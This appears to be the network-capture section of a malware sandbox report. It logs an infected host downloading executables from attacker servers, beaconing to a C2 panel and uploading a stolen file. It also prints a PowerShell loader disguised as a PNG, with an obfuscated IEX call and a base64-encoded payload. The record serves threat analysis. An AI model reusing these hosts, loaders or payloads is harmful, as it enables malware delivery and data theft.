Dec 16, 2024 17:02:45.516908884 CET	1236	IN	Data Raw: 41 41 41 52 41 69 68 6d 41 67 41 47 4b 67 41 54 4d 41 55 41 43 41 41 41 41 41 45 41 41 42 45 43 41 79 67 4a 41 67 41 47 4b 68 4d 77 42 41 41 47 41 41 41 41 41 51 41 41 45 53 68 71 41 67 41 47 4b 67 41 41 45 7a 41 46 41 41 67 41 41 41 41 42 41 41 Data Ascii: AAARAihmAgAGKgATMAUACAAAAAEAABECAygJAgAGKhMwBAAGAAAAAQAAEShqAgAGKgAAEzAFAAgAAAABAAARAgMoUAEABioTMAQABwAAAAEAABECKDoCAAYqABMwBAAGAAAAAQAAESgwAQAGKgAAEzAEAAYAAAABAAARKNkCAAYqAAATMAQABwAAAAEAABECKKsBAAYqABMwBAAHAAAAAQAAEQIotQAABioAEzAEAAcAAAABAAA
Dec 16, 2024 17:02:45.517317057 CET	672	IN	Data Raw: 6e 68 45 4d 49 41 63 36 65 2b 35 61 49 4a 50 46 2b 76 5a 68 4f 50 7a 2b 2f 2f 38 52 42 78 59 52 42 78 61 56 43 42 61 56 59 5a 34 52 44 43 41 76 4d 64 52 62 57 69 42 56 32 49 4f 61 59 54 6a 64 2f 76 2f 2f 45 51 63 66 43 78 45 48 48 77 75 56 43 42 Data Ascii: nhEMIAc6e+5aIJPF+vZhOPz+//8RBxYRBxaVCBaVYZ4RDCAvMdRbWiBV2IOaYTjd/v//EQcfCxEHHwuVCB8LlWGeEQwg3NOF5VogIiQHEmE4u/7//wkJHxtkYQ0IEQQJnhEMIExcL2laIAhG5SFhOJz+//8fQCgKAgAGJdACAAAEKA8BAAYLEQwgxdH2eVogbpGsuWE4dv7//xYTBh8QKAoCAAYTBxEMIAoa0kRaIP2tth1hOFf
Dec 16, 2024 17:02:45.517328024 CET	1236	IN	Data Raw: 2f 66 2f 2f 42 68 70 61 34 43 69 38 41 51 41 47 45 77 67 52 44 43 41 74 62 78 43 36 57 69 43 30 4d 5a 66 42 59 54 6a 33 2f 50 2f 2f 48 78 41 6f 43 67 49 41 42 67 77 52 44 43 41 71 7a 74 44 54 57 69 43 39 56 34 72 2f 59 54 6a 63 2f 50 2f 2f 46 68 Data Ascii: /f//Bhpa4Ci8AQAGEwgRDCAtbxC6WiC0MZfBYTj3/P//HxAoCgIABgwRDCAqztDTWiC9V4r/YTjc/P//FhMKEQwg5aGttVog2zhP8mE4xvz//xEEF1gTBBEMIGixgpVaIP8GCMhhOK38//8RBx4RBx6VCB6VYZ4RBx8JEQcfCZUIHwmVYZ4RBx8KEQcfCpUIHwqVYZ4RDCA7GPqRWiDMVlOTYThw/P//EQgoIQEABoABAAAEEQw
Dec 16, 2024 17:02:45.517338991 CET	1236	IN	Data Raw: 46 6d 6f 7a 43 43 44 4a 6f 71 56 6a 4a 53 73 47 49 48 35 7a 32 77 38 6c 4a 6a 69 56 2f 76 2f 2f 46 34 30 42 41 41 41 62 44 52 45 48 49 46 6b 54 55 4b 56 61 49 50 63 37 69 71 5a 68 4f 48 76 2b 2f 2f 38 6f 66 67 45 41 42 6e 34 42 41 41 41 45 41 67 Data Ascii: FmozCCDJoqVjJSsGIH5z2w8lJjiV/v//F40BAAAbDREHIFkTUKVaIPc7iqZhOHv+//8ofgEABn4BAAAEAggoSAIABigbAgAGpQEAABsLEQcgTZGT71ogaSM0nGE4TP7//9ABAAAbKHoBAAYoVAEABhEFKHACAAYTBhEHIBW+EwJaIIBP0oFhOCH+//8GbhdqMwggU0praiUrBiDlRq14JSY4B/7//34BAAAEAgkW/hwBAAAbKJk
Dec 16, 2024 17:02:45.518089056 CET	1236	IN	Data Raw: 4b 4a 6b 43 41 41 59 52 42 79 43 6e 73 32 56 6b 57 69 43 71 46 46 58 56 59 54 67 79 2f 76 2f 2f 66 67 45 41 41 41 51 43 4a 52 64 59 45 41 44 67 6b 58 34 42 41 41 41 45 41 69 55 58 57 42 41 41 34 4a 45 65 59 6d 42 2b 41 51 41 41 42 41 49 6c 46 31 Data Ascii: KJkCAAYRByCns2VkWiCqFFXVYTgy/v//fgEAAAQCJRdYEADgkX4BAAAEAiUXWBAA4JEeYmB+AQAABAIlF1gQAOCRHxBiYH4BAAAEAiUXWBAA4JEfGGJgEwXQAQAAGyh6AQAGKFQBAAYRBShwAgAGEwYRByD3NCOnWiCH31KxYTjG/f//EQalAQAAGwsRByArce2tWiC5TXedYTir/f//F40BAAAbDREHIEW0hjxaIAV1xr1hOJH
Dec 16, 2024 17:02:45.518100023 CET	1236	IN	Data Raw: 4f 46 2f 39 2f 2f 38 48 4b 68 4d 77 43 51 44 68 41 67 41 41 42 67 41 41 45 51 49 67 74 52 48 36 71 31 6f 67 65 76 58 51 51 32 45 51 41 43 42 64 45 78 59 35 49 42 48 41 66 6c 4a 68 4a 52 4d 48 48 78 42 65 52 52 41 41 41 41 42 5a 41 41 41 41 30 77 Data Ascii: OF/9//8HKhMwCQDhAgAABgAAEQIgtRH6q1ogevXQQ2EQACBdExY5IBHAflJhJRMHHxBeRRAAAABZAAAA0wAAAF8CAABHAgAA7QAAABACAACWAAAAhwEAAAUAAAChAQAAfAAAAKr///9vAQAAegIAABsBAAAjAgAAOHUCAAB+AQAABAIlF1gQAOCRfgEAAAQCJRdYEADgkR5iYH4BAAAEAiUXWBAA4JEfEGJgfgEAAAQCJRdYEAD
Dec 16, 2024 17:02:45.518110037 CET	1236	IN	Data Raw: 6b 52 38 59 59 6d 41 54 42 52 45 48 49 4f 2b 33 70 63 4e 61 49 49 35 73 33 65 31 68 4f 46 37 2f 2f 2f 39 2b 41 51 41 41 42 41 49 6c 46 31 67 51 41 4f 43 52 66 67 45 41 41 41 51 43 4a 52 64 59 45 41 44 67 6b 52 35 69 59 48 34 42 41 41 41 45 41 69 Data Ascii: kR8YYmATBREHIO+3pcNaII5s3e1hOF7///9+AQAABAIlF1gQAOCRfgEAAAQCJRdYEADgkR5iYH4BAAAEAiUXWBAA4JEfEGJgfgEAAAQCJRdYEADgkR8YYmATBBEHIO/3BptaIOjJbrxhOAr///8CHx5kChEHIPaWL4BaIEWTx0JhOPL+///QAQAAGyh6AQAGKFQBAAYRBShwAgAGEwZ+AQAABAIRBhYRBBpZKJkCAAYRBqUBAAA
Dec 16, 2024 17:02:45.518121004 CET	1236	IN	Data Raw: 45 51 77 67 4b 30 74 37 5a 46 6f 67 63 58 33 2b 57 32 45 34 6d 2f 37 2f 2f 79 44 7a 72 6a 57 48 44 52 45 4d 49 4c 79 45 58 49 70 61 49 42 74 36 66 72 56 68 4f 49 4c 2b 2f 2f 38 52 42 57 6f 47 62 6a 49 49 49 48 33 67 75 6e 77 6c 4b 77 59 67 58 65 Data Ascii: EQwgK0t7ZFogcX3+W2E4m/7//yDzrjWHDREMILyEXIpaIBt6frVhOIL+//8RBWoGbjIIIH3gunwlKwYgXeHoZSUmOGf+//8RBxoRBxqVCBqVYZ4RDCAI5KOiWiARShT1YThI/v//CQkfG2RhDREMIH/hWnxaIOwZviFhOC7+//8RCBEGJRdYEwYRCx8YZNKcEQwgxnZ2klogcWufZ2E4C/7//wgRBAmeEQwgLqgH0FogOFY0XWE
Dec 16, 2024 17:02:45.637027025 CET	1236	IN	Data Raw: 79 74 31 61 49 42 6c 53 4e 32 78 68 4f 41 48 37 2f 2f 38 52 43 42 45 47 4a 52 64 59 45 77 59 52 43 39 4b 63 45 51 67 52 42 69 55 58 57 42 4d 47 45 51 73 65 5a 4e 4b 63 45 51 67 52 42 69 55 58 57 42 4d 47 45 51 73 66 45 47 54 53 6e 42 45 4d 49 46 Data Ascii: yt1aIBlSN2xhOAH7//8RCBEGJRdYEwYRC9KcEQgRBiUXWBMGEQseZNKcEQgRBiUXWBMGEQsfEGTSnBEMIFUkvzZaIJ/vd4VhOML6//8qEzAFAFAAAAABAAARfgMAAAQo5QEABgMoFwEABijlAgAGLDcgQRHcSSBGOssmYSUKGV5FAwAAAOD///8CAAAAFwAAACsVfgMAAAQqBiAncVc3WiBBPVxrYSvOFCoTMAUADAAAAAEAABE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49751	185.215.113.16	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:02:45.381793976 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 16, 2024 17:02:46.727684021 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:02:46 GMT Content-Type: application/octet-stream Content-Length: 1809408 Last-Modified: Mon, 16 Dec 2024 15:50:53 GMT Connection: keep-alive ETag: "67604c5d-1b9c00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 00 00 00 00 00 00 c0 47 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 47 00 00 04 00 00 db 0c 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gG@G@T0h 1 H@.rsrc X@.idata 0\@ P)@^@oxelpjbe .`@rxotcwhbGv@.taggant0G"z@
Dec 16, 2024 17:02:46.727722883 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:02:46.727741003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:02:46.728158951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:02:46.728177071 CET	1236	IN	Data Raw: 37 82 f1 51 e3 61 6e 05 09 2b 4c 25 e9 4b 1e 2e be 9b 95 29 5b 02 73 b2 9b de c7 81 7b 9c 88 cc 2f 72 17 bd e5 36 70 e4 6a e2 87 2a f3 8a 52 b3 e1 1b 6f 64 53 69 88 c6 b2 eb 4d e1 99 53 52 ce f4 30 a1 d3 6e a4 bb f3 ad b5 10 e9 75 7d ba a8 a8 86 Data Ascii: 7Qan+L%K.)[s{/r6pjRodSiMSR0nu}U1EMsDVV\|&qvOTm;8'>A s!L323d8om_]\|7r1ep$ upmdIT*M+%]7P'O"n
Dec 16, 2024 17:02:46.728193998 CET	1236	IN	Data Raw: eb ec 2d e5 a9 3c 91 50 5b 1d 89 66 c5 14 d6 8b 8e 3a 6d c5 17 7e ae f9 6d 3c cd 28 27 66 8e b0 33 18 35 c0 ad 2e dc 38 d7 ba 4d 25 7a a3 70 23 7e 3a 4e f4 71 fe 53 10 3d ea 19 4c 40 94 e3 e2 99 e2 28 f7 4c 28 17 47 9a 8e 75 e1 b3 32 4e ad 8b ca Data Ascii: -<P[f:m~m<('f35.8M%zp#~:NqS=L@(L(Gu2NOZ2[1-V5)-mGD/=]L,z;o!zIp}~iVdxR!F<a*JLctp02bbb[n;;AJ}a
Dec 16, 2024 17:02:46.728209972 CET	776	IN	Data Raw: 29 bc 06 9a 69 d6 78 51 a8 91 9a 29 83 e2 46 89 9a da c5 2b ea fb c4 86 33 05 66 ef 6a 21 cb 8b ac a7 06 a5 89 9d fc dd 04 11 9a aa e0 5e a7 da 75 d5 50 97 1a 8b f8 b0 61 29 04 c2 63 fa 2e 5a 42 ba f4 b3 a9 5a c4 2b 87 8c cb a1 82 fd 09 6c 6f 2f Data Ascii: )ixQ)F+3fj!^uPa)c.ZBZ+lo/p\|o3f6#D_!9J1\|ze},,dh!9+M!9O--fqF\|A0vn$)\1/_%=@Lr)qt5u{TXr"
Dec 16, 2024 17:02:46.728975058 CET	1236	IN	Data Raw: f1 84 92 c6 5d ea df 26 7b 5f 67 a9 fc 43 43 d9 8a 5a 4a d5 73 d1 83 2f d7 2a 26 33 13 d6 5c b3 8a 1d a9 1e 97 7a ae 15 40 4e 6e 42 ed 9d f4 b0 7f 3c 70 a6 4c 7e aa 68 2f 6e 4e 85 c9 5e 95 e9 f2 2e 01 0d f9 ec 08 e0 60 ea 1c 0b da dc b6 e1 49 28 Data Ascii: ]&{_gCCZJs/&3\z@NnB<pL~h/nN^.`I(Fr9E}bRQthE#qr?OdJ7-3c4C/#S1'Mjd8ai M@q{,I@&632n~*`P`C%6DBpzul
Dec 16, 2024 17:02:46.728992939 CET	1236	IN	Data Raw: 6b 40 aa 38 23 41 99 d8 7c b1 35 ad 6b 8f 93 a7 a9 53 4b 4a 60 6a fc f8 3b 5c 87 a3 78 ad 46 14 52 2d 0d 6b 2c fd 8d 89 67 c4 37 a1 43 4b 02 da a5 48 b6 80 a5 4b 4e 32 d2 3a d7 43 b2 2d 8f 2a 76 68 19 bb 32 49 f5 6c b8 36 1c c7 1e 13 c7 82 a2 a7 Data Ascii: k@8#A\|5kSKJ`j;\xFR-k,g7CKHKN2:C-*vh2Il6"flW_(RCFp#cym 1RF:GbSUuL0ejl/B9p!HBWBlGx-2V:, ~+6
Dec 16, 2024 17:02:46.729011059 CET	1236	IN	Data Raw: cf e3 8f c0 eb 16 94 a5 e3 34 c5 18 69 aa fb b9 2d 2b c9 b8 a9 2b 6e a5 18 47 88 f8 d3 e1 cd 0c ce a4 3e a6 72 05 a2 be 79 a0 f5 8f 6c 68 89 99 8e 50 83 81 16 43 ad 28 7a 9a 0b 11 b6 13 0d 22 79 a9 1d a5 db 04 be 20 ae 9e da 41 76 57 80 b5 21 da Data Ascii: 4i-++nG>rylhPC(z"y AvW!;i9Avzr`ck")$TGpKlp's=D*l/J@q<tT3Q"&!uc<cZp@4&mtM9s":
Dec 16, 2024 17:02:46.847707987 CET	1236	IN	Data Raw: 29 5f 90 a4 ee 66 ff a7 7f db 06 6a 40 62 cc 21 17 5f 45 31 ac 74 c5 95 31 1d 4f f6 b8 20 75 52 2b ce c7 02 d3 eb 4b e1 ac dc 9c 8a 7a dc 2d ad 2a 41 93 cf 87 16 dc e5 71 58 6e df 30 a8 ca 25 f7 9f 20 da 79 25 c2 79 2a 3e b0 2e 45 64 3b 8a b9 e7 Data Ascii: )_fj@b!_E1t1O uR+Kz-AqXn0% y%y>.Ed;{'FMScMyR`x@ -g3>HB-/+wcDunjwEPLd`!&>KM2Y/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49767	138.124.35.95	80	7044	C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:02:51.596801043 CET	644	OUT	POST /v1/upload.php HTTP/1.1 Host: fivetk5pn.top Accept: / Content-Length: 465 Content-Type: multipart/form-data; boundary=------------------------XFx3sNAAYlM886TMoexy36 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 58 46 78 33 73 4e 41 41 59 6c 4d 38 38 36 54 4d 6f 65 78 79 33 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 6f 76 6f 67 75 6a 6f 77 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 35 99 2b 15 b3 31 aa fe db a6 21 06 03 bc a8 b7 8b 9c e1 89 1c 88 0d 30 eb 3f e3 12 91 dc 56 fd a7 27 b1 fd a5 b1 16 a7 37 88 7e 64 03 92 82 96 67 e1 07 39 10 9f 1f 73 ac 03 01 a9 1f e5 d4 f1 90 89 85 a6 d1 c8 41 d6 8f 0b 9f e0 75 55 0a 2d 46 6d d4 52 64 e5 85 fc ea 6b fc 0e a6 92 d1 f4 79 5d 44 49 98 1b 37 c0 62 9c 01 89 f9 22 13 83 85 f2 91 ef a5 72 20 01 ae 35 c5 05 04 bc 0e 6b 4e b8 70 61 14 82 ee 71 e9 ff a4 30 f6 4d e6 30 fe 31 36 e1 05 e8 a4 ed 67 aa 1f 33 ad e5 6c 87 5c bf c6 b7 4c 8c 0e eb d2 45 d1 9a c7 ea 7b [TRUNCATED] Data Ascii: --------------------------XFx3sNAAYlM886TMoexy36Content-Disposition: form-data; name="file"; filename="Govogujow.bin"Content-Type: application/octet-stream5+1!0?V'7~dg9sAuU-FmRdky]DI7b"r 5kNpaq0M016g3l\LE{z<\|^g~>EA R1g)yr++F]G+XB--------------------------XFx3sNAAYlM886TMoexy36--
Dec 16, 2024 17:02:53.015077114 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 16:02:52 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 29 X-RateLimit-Reset: 1734366773 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49771	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:02:52.365438938 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 37 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016175001&unit=246122658369
Dec 16, 2024 17:02:53.700087070 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:02:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49776	185.11.61.104	80	6380	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:02:53.780742884 CET	68	OUT	GET /A.png HTTP/1.1 Host: 185.11.61.104 Connection: Keep-Alive
Dec 16, 2024 17:02:55.104742050 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:02:54 GMT Content-Type: image/png Content-Length: 699576 Last-Modified: Fri, 13 Dec 2024 20:03:40 GMT Connection: keep-alive ETag: "675c931c-aacb8" Accept-Ranges: bytes Data Raw: 69 70 63 6f 6e 66 69 67 20 2f 66 6c 75 73 68 64 6e 73 0d 0a 0d 0a 0d 0a 20 24 74 30 3d 27 41 5a 41 5a 41 5a 49 45 58 27 2e 72 65 70 6c 61 63 65 28 27 41 5a 41 5a 41 5a 27 2c 27 27 29 3b 73 61 6c 20 47 47 20 24 74 30 3b 0d 0a 0d 0a 24 4f 45 3d 22 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 45 69 61 56 57 63 41 41 41 41 41 41 41 41 41 41 4f 41 41 4c 69 45 4c 41 54 41 41 41 45 49 42 41 41 42 47 41 51 41 41 41 41 41 41 55 6d 45 42 41 41 41 67 41 41 41 41 67 41 45 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 41 42 41 [TRUNCATED] Data Ascii: ipconfig /flushdns $t0='AZAZAZIEX'.replace('AZAZAZ','');sal GG $t0;$OE="qQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAEiaVWcAAAAAAAAAAOAALiELATAAAEIBAABGAQAAAAAAUmEBAAAgAAAAgAEAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAADAAQAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAPhgAQBXAAAAAKABAEQDAAAAAAAAAAAAAAAAAAAAAAAAAIABAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAWEEBAAAgAAAAQgEAAAIAAAAAAAAAAAAAAAAAACAAAGAucmVsb2MAAAwAAAAAgAEAAAIAAABEAQAAAAAAAAAAAAAAAABAAABCLnJzcmMAAABEAwAAAKABAAAEAAAARgEAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAAA0YQEAAAAAAEgAAAACAAUAvKYAADy6AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwAwAQAAAAAQAAESjuAAAGKLkCAAYooQIABioTMAoAcwEAAAIAABEgC9bMBSgBAAArCiChympbILt52AhhJRMGHwleRQkAAAAKAQAABQAAAC0BAAC3
Dec 16, 2024 17:02:55.104835987 CET	224	IN	Data Raw: 41 41 41 41 78 76 2f 2f 2f 33 6f 41 41 41 41 67 41 41 41 41 6d 67 41 41 41 46 77 41 41 41 41 34 4b 41 45 41 41 43 68 73 41 67 41 47 4b 47 55 42 41 41 59 4c 45 51 59 67 44 57 61 64 56 31 6f 67 78 51 6a 65 57 47 45 72 71 77 63 67 6d 56 57 44 30 43 Data Ascii: AAAAxv///3oAAAAgAAAAmgAAAFwAAAA4KAEAAChsAgAGKGUBAAYLEQYgDWadV1ogxQjeWGErqwcgmVWD0CgBAAArFyhAAgAGEwQRBBYoOwIABijYAAAGohEEKIoBAAYMEQYg8owXj1ogF1O2r2E4b////wl+DAEABCgBAgAGEQYg64IPvlogE89F3WE4Uf///wgtCCDfMrj5JSsGIEK2ycclJhEGIAKa
Dec 16, 2024 17:02:55.104849100 CET	1236	IN	Data Raw: 55 6f 68 61 59 54 67 78 2f 2f 2f 2f 66 76 6f 41 41 41 51 6f 65 41 49 41 42 68 45 47 49 49 34 70 7a 46 56 61 49 4b 64 2b 79 78 42 68 4f 42 54 2f 2f 2f 38 67 73 2b 65 54 77 53 67 43 41 41 41 72 43 42 51 58 4b 50 38 41 41 41 59 54 42 52 45 46 46 67 Data Ascii: UohaYTgx////fvoAAAQoeAIABhEGII4pzFVaIKd+yxBhOBT///8gs+eTwSgCAAArCBQXKP8AAAYTBREFFgYgAcujRygCAAArKLECAAaiEQUo/gAABijNAgAGLAggUCvaTiUrBiDkLrZuJSYRBiCjm1MMWmE4wf7//xT+BgMAAAZzdgAACihyAQAGDQkXKHwCAAYgaf6zcDie/v//KgATMAUAcQEAAAMAABECKL8AAAYKIIpwUV4
Dec 16, 2024 17:02:55.105011940 CET	224	IN	Data Raw: 42 69 6f 41 45 7a 41 45 41 41 63 41 41 41 41 42 41 41 41 52 41 69 69 72 41 51 41 47 4b 67 41 54 4d 41 51 41 42 77 41 41 41 41 45 41 41 42 45 43 4b 44 6f 43 41 41 59 71 41 42 4d 77 43 41 43 37 41 51 41 41 42 41 41 41 45 51 49 6f 79 41 45 41 42 67 Data Ascii: BioAEzAEAAcAAAABAAARAiirAQAGKgATMAQABwAAAAEAABECKDoCAAYqABMwCAC7AQAABAAAEQIoyAEABgogW3Q7xyAnPGqaYSUTCR8PXkUPAAAAfwAAAC8AAACu////GAAAAOAAAAAfAQAAxAAAAP0AAABHAQAABQAAAJIAAAAxAQAASAAAAKsAAABlAAAAOEIBAAAWag0RCSAEX6/lWiCI0gzZYSub
Dec 16, 2024 17:02:55.105098963 CET	1236	IN	Data Raw: 47 79 69 38 41 51 41 47 44 42 45 4a 49 49 4b 38 46 47 5a 61 49 47 51 2b 34 75 42 68 4b 34 51 52 42 42 34 76 43 43 42 78 66 70 61 70 4a 53 73 47 49 44 31 47 72 75 6f 6c 4a 6a 68 72 2f 2f 2f 2f 45 51 59 58 4b 45 51 42 41 41 59 54 42 78 45 4a 49 4f Data Ascii: Gyi8AQAGDBEJIIK8FGZaIGQ+4uBhK4QRBB4vCCBxfpapJSsGID1GruolJjhr////EQYXKEQBAAYTBxEJIODzrYZaIB+SWbphOE7///8HCG81AAAGEQkgk02/IFogoOwEVmE4NP///xEJIJbs8wtaIHHBDUFhOCH///9zLwAABgsRCSC5MGiKWiDLVdwiYTgI////EQQXWBMEEQkgpktg4Fog6STh9GE47/7//wlpKLwBAAYTBhE
Dec 16, 2024 17:02:55.105396986 CET	1236	IN	Data Raw: 45 51 71 56 45 77 73 67 72 76 42 67 34 7a 69 78 2f 66 2f 2f 45 51 77 67 37 51 36 32 51 46 6f 67 5a 50 6c 54 63 57 45 34 6e 76 33 2f 2f 78 59 54 42 42 45 4d 49 48 4d 50 43 75 68 61 49 4f 45 72 67 56 74 68 4f 49 6a 39 2f 2f 38 52 42 42 38 51 4d 67 Data Ascii: EQqVEwsgrvBg4zix/f//EQwg7Q62QFogZPlTcWE4nv3//xYTBBEMIHMPCuhaIOErgVthOIj9//8RBB8QMgggHk6c/iUrBiBC+MWPJSY4bv3//wkJHxliYQ0RDCAQy+sxWiBpI3+cYThU/f//EQgRBiUXWBMGEQvSnBEMIMvZnMFaILzhkmphODT9//8RBxoRBxqVCBqVYZ4RDCDyN3EJWiCo+7xLYTgV/f//Bhpa4Ci8AQAGEwg
Dec 16, 2024 17:02:55.105410099 CET	1236	IN	Data Raw: 49 43 6a 6f 49 43 31 61 49 4d 54 50 56 4e 6c 68 4f 45 54 2f 2f 2f 39 2b 41 51 41 41 42 41 49 6c 46 31 67 51 41 4f 43 52 66 67 45 41 41 41 51 43 4a 52 64 59 45 41 44 67 6b 52 35 69 59 48 34 42 41 41 41 45 41 69 55 58 57 42 41 41 34 4a 45 66 45 47 Data Ascii: ICjoIC1aIMTPVNlhOET///9+AQAABAIlF1gQAOCRfgEAAAQCJRdYEADgkR5iYH4BAAAEAiUXWBAA4JEfEGJgfgEAAAQCJRdYEADgkR8YYmATBH4BAAAEAiUXWBAA4JF+AQAABAIlF1gQAOCRHmJgfgEAAAQCJRdYEADgkR8QYmB+AQAABAIlF1gQAOCRHxhiYBMFEQcglh+qllogC0c4/mE4r/7//wZuFmozCCDJoqVjJSsGIH5
